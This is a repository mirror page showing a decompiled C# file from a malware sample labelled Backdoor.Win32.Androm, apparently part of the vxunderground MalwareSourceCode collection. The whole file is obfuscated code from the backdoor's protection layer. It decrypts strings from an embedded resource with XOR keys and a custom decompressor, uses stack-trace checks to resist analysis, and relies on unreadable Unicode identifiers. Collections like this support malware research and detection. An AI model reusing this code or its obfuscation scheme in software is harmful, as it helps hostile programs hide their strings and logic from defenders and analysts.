ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2025-01-20 00:58:52 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f2ac1ece55
MalwareSourceCode/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs

499 lines
19 KiB
C#
Raw Normal View History

auto-decompiled msil via petikvx add
2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
internal static class \u000F
{
private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002;
private static \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 \u0003;
private static byte[] \u0005;
private static short \u0008;
private static int \u0006;
private static byte[] \u000E;
private static int \u000F;
private static int \u0002\u2000;
private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 \u0003\u2000;
[MethodImpl(MethodImplOptions.NoInlining)]
static \u000F()
{
int num1 = -426164219;
int num2 = num1 - 1979452043;
\u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9);
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
if (frame != null)
num3 ^= -~~--~-~~(1149007232 - num1 - num2);
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
int num4;
if ((object) type == (object) typeof (RuntimeMethodHandle))
{
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000;
num4 = num3 ^ (num1 - 1979451816 ^ num2) + index;
}
else if ((object) type == null)
{
num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2);
\u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 1;
}
else if ((object) type.Assembly != (object) typeof (\u000F).Assembly)
{
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000;
num4 = num3 ^ num1 - 738984598 + num2;
}
else
{
\u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000;
num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index;
}
\u000F.\u0002\u2000 += num4;
}
private static void \u0002(byte[] _param0, int _param1, byte[] _param2)
{
int num1 = 0;
int num2 = 0;
int num3 = 128;
int length = _param2.Length;
label_10:
while (num1 < length)
{
if ((num3 <<= 1) == 256)
{
num3 = 1;
num2 = (int) _param0[_param1++];
}
if ((num2 & num3) != 0)
{
int num4 = ((int) _param0[_param1] >> 2) + 3;
int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
_param1 += 2;
int num6 = num1 - num5;
if (num6 < 0)
break;
while (true)
{
if (--num4 >= 0 && num1 < length)
_param2[num1++] = _param2[num6++];
else
goto label_10;
}
}
else
_param2[num1++] = _param0[_param1++];
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0002(int _param0)
{
int num1 = 77956711;
int num2 = num1 + 1837816693;
lock (\u000F.\u0002)
{
string str1;
byte[] numArray1;
int num3;
while (true)
{
str1 = \u000F.\u0002.\u0002(_param0);
if (str1 == null)
{
int num4;
if (\u000F.\u0003 == null)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Assembly.GetCallingAssembly();
\u000F.\u0006 |= 1988982073 ^ num1 ^ num2;
Assembly assembly1 = executingAssembly;
StringBuilder stringBuilder = new StringBuilder();
int num5 = num1 - 1919747211 - num2;
stringBuilder.Append((char) num5).Append((char) (num5 >> 16));
int num6 = 1457178686 - num1 ^ num2;
stringBuilder.Append((char) num6).Append((char) (num6 >> 16));
int num7 = (-1768683592 ^ num1) - num2;
stringBuilder.Append((char) (num7 >> 16)).Append((char) num7);
int num8 = -1300740973 - num1 + num2;
stringBuilder.Append((char) (num8 >> 16)).Append((char) num8);
int num9 = num1 + 1837808501 ^ num2;
stringBuilder.Append((char) num9);
string name = stringBuilder.ToString();
Stream manifestResourceStream = assembly1.GetManifestResourceStream(name);
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
\u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames;
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
\u000F.\u0006 ^= index + (1993729987 - num1 ^ num2);
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
if (frame == null)
\u000F.\u0006 ^= (1989557480 ^ num1) - num2;
bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
\u000F.\u0006 ^= 1837816597 + num1 ^ num2;
if (!flag)
{
flag = (object) type == null;
if (flag)
\u000F.\u0006 ^= (num1 ^ -1988661040) + num2;
}
if (flag == (stackTrace != null))
\u000F.\u0006 = 32 ^ \u000F.\u0006;
\u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index;
\u000F.\u0003 = new \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(manifestResourceStream);
short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2));
if (num10 == (short) 0)
\u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2));
else
\u000F.\u0005 = \u000F.\u0003.\u0002((int) num10);
Assembly assembly2 = executingAssembly;
AssemblyName assemblyName;
try
{
assemblyName = assembly2.GetName();
}
catch
{
assemblyName = new AssemblyName(assembly2.FullName);
}
\u000F.\u000E = assemblyName.GetPublicKeyToken();
if (\u000F.\u000E != null && \u000F.\u000E.Length == 0)
\u000F.\u000E = (byte[]) null;
int num11 = \u000F.\u0002\u2000;
\u000F.\u0002\u2000 = 0;
long num12 = \u0003\u2000.\u0002();
num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2);
\u000F.\u000F = num4;
\u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2;
if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 0)
\u000F.\u0006 = num1 - 1993686153 + num2;
}
else
num4 = \u000F.\u000F;
if (\u000F.\u0006 != (1989446641 ^ num1) - num2)
{
int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2;
\u000F.\u0003.\u0002().Position = (long) num13;
if (\u000F.\u0005 != null)
{
numArray1 = \u000F.\u0005;
}
else
{
short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13);
if (num14 == (short) 0)
{
numArray1 = (byte[]) null;
}
else
{
numArray1 = \u000F.\u0003.\u0002((int) num14);
for (int index = 0; index != numArray1.Length; ++index)
numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3));
}
}
num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4;
if (num3 == (num1 - 1993730117 | num2))
{
byte[] numArray2 = \u000F.\u0003.\u0002(4);
_param0 = (num1 ^ -999205350) + num2 ^ num4;
_param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0;
}
else
goto label_33;
}
else
goto label_23;
}
else
break;
}
return str1;
label_23:
return new string(new char[3]
{
(char) (num1 - 1993730027 + num2),
'0',
(char) (1993730027 - num1 ^ num2)
});
label_33:
bool flag1 = (num3 & num1 - 1383408779 - num2) != 0;
bool flag2 = (num3 & -1764366269 - num1 - num2) != 0;
bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0;
int num15 = num3 & (num1 ^ 2036996164 ^ num2);
byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15));
if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2))
{
for (int index = 0; index < num15; ++index)
{
byte num16 = \u000F.\u000E[7 & index];
byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5);
numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17);
}
}
int num18 = \u000F.\u0006 - 12;
byte[] bytes;
int length;
if (!flag3)
{
bytes = numArray3;
length = num15;
}
else
{
length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
bytes = new byte[length];
\u000F.\u0002(numArray3, 4, bytes);
}
string str2;
if (flag1 && num18 == 1839424495 + num1 - num2)
{
char[] chArray = new char[length];
for (int index = 0; index < length; ++index)
chArray[index] = (char) bytes[index];
str2 = new string(chArray);
}
else
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5);
if (num19 != num1 - 1992118185 + num2)
{
int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2;
ref int local = ref num20;
StringBuilder stringBuilder = new StringBuilder();
int num21 = num1 ^ 1989535715 ^ num2;
stringBuilder.Append((char) (byte) num21);
string format = stringBuilder.ToString();
str2 = local.ToString(format);
}
if (!flag2)
{
str2 = string.Intern(str2);
\u000F.\u0002.\u0002(_param0, str2);
if (\u000F.\u0002.\u0002() == 9)
{
\u000F.\u0003.\u0003();
\u000F.\u0003 = (\u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006) null;
\u000F.\u0005 = \u000F.\u000E = (byte[]) null;
}
}
return str2;
}
}
private sealed class \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006
{
private Stream \u0002;
private byte[] \u0003;
public \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(
Stream _param1)
{
this.\u0002 = _param1;
this.\u0003 = new byte[4];
}
public Stream \u0002() => this.\u0002;
public short \u0002()
{
this.\u0002(2);
return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8);
}
public int \u0002()
{
this.\u0002(4);
return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24;
}
private void \u0002() => throw new EndOfStreamException();
private void \u0002(int _param1)
{
int offset = 0;
if (_param1 == 1)
{
int num = this.\u0002.ReadByte();
if (num == -1)
this.\u0002();
this.\u0003[0] = (byte) num;
}
else
{
do
{
int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset);
if (num == 0)
this.\u0002();
offset += num;
}
while (offset < _param1);
}
}
public void \u0003()
{
Stream stream = this.\u0002;
this.\u0002 = (Stream) null;
stream?.Close();
this.\u0003 = (byte[]) null;
}
public byte[] \u0002(int _param1)
{
byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException();
int length = 0;
do
{
int num = this.\u0002.Read(numArray, length, _param1);
if (num != 0)
{
length += num;
_param1 -= num;
}
else
break;
}
while (_param1 > 0);
if (length != numArray.Length)
{
byte[] dst = new byte[length];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length);
numArray = dst;
}
return numArray;
}
}
[DefaultMember("Item")]
internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008
{
private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002;
private int \u0003;
public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16];
public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(
int _param1)
{
int length = 16;
_param1 <<= 1;
while (length < _param1 && length > 0)
length <<= 1;
if (length < 0)
length = 16;
this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length];
}
public int \u0002() => this.\u0003;
private void \u0002()
{
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002;
int length1 = objArray1.Length;
int length2 = length1 * 2;
if (length2 <= 0)
return;
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2];
int num1 = 0;
for (int index1 = 0; index1 < length1; ++index1)
{
string str = objArray1[index1].\u0003;
if (str != null)
{
int num2 = objArray1[index1].\u0002;
int index2 = num2 & length2 - 1;
while (objArray2[index2].\u0003 != null)
{
++index2;
if (index2 >= length2)
index2 = 0;
}
objArray2[index2].\u0003 = str;
objArray2[index2].\u0002 = num2;
++num1;
}
}
this.\u0002 = objArray2;
this.\u0003 = num1;
}
public string \u0002(int _param1)
{
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
int length = objArray.Length;
int index = _param1 & length - 1;
string str = (string) null;
while (objArray[index].\u0002 != _param1)
{
if (objArray[index].\u0003 != null)
{
++index;
if (index >= length)
index = 0;
}
else
goto label_6;
}
str = objArray[index].\u0003;
label_6:
return str;
}
public void \u0002(int _param1, string _param2)
{
\u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
int length = objArray.Length;
int num1 = length >> 1;
int index = _param1 & length - 1;
while (true)
{
do
{
int num2 = objArray[index].\u0002;
bool flag = objArray[index].\u0003 == null;
if (num2 == _param1 || flag)
{
objArray[index].\u0003 = _param2;
if (!flag)
return;
objArray[index].\u0002 = _param1;
++this.\u0003;
if (this.\u0003 <= num1)
return;
this.\u0002();
return;
}
++index;
}
while (index < length);
index = 0;
}
}
private struct \u0002
{
public int \u0002;
public string \u0003;
}
}
private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002
{
}
}
Reference in New Issue Copy Permalink